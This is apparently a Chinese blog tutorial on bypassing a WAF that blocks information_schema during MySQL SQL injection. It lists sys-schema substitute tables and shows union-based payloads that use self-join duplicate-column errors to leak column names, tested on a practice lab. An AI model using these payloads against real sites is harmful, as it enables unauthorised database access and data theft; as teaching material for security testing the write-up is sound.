sql注入时,waf屏蔽了information_schema如何处理?

information_schema可代替库

如果使用正则表达式屏蔽了information,则想一想有没有能代替的information的库。
例如:x$schema_table_statistics这个库里面就有table_schema和table_name,但是没有列名,那么列名就需要使用无列名注入。

可以代替information_schema的表
sys.x$schema_table_statistics
sys.schema_table_statistics
sys.x$ps_schema_table_statistics_io
sys.schema_index_statistics
sys.schema_table_statistics_with_buffer

无列名注入

当出现正则表达式过滤information_schema时,可以使用无列名注入。

join函数

当用下面这条命令在security表中查询时,会出现a表和b表拼接成一个新表,如下图。

select * from users as a join users as b;

在这里插入图片描述

再对其使用一个select查询进行包裹,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。

select * from (select * from users as a join users as b) as c;

在这里插入图片描述

当查询完第一个列名时,使用using排除,继续查询下一个列名。

select * from (select * from users as a join users as b using(id)) as c;

在这里插入图片描述

实操

下面在靶场中进行注入测试。

第一个列名:

?id=0' union select * from (select * from users as a join users as b) as c --+

在这里插入图片描述

第二个列名:

?id=0' union select * from (select * from users as a join users as b using(id)) as c --+

在这里插入图片描述

第三个列名:

?id=0' union select * from (select * from users as a join users as b using(id,username)) as c --+

在这里插入图片描述

以此类推。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

麦农111

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值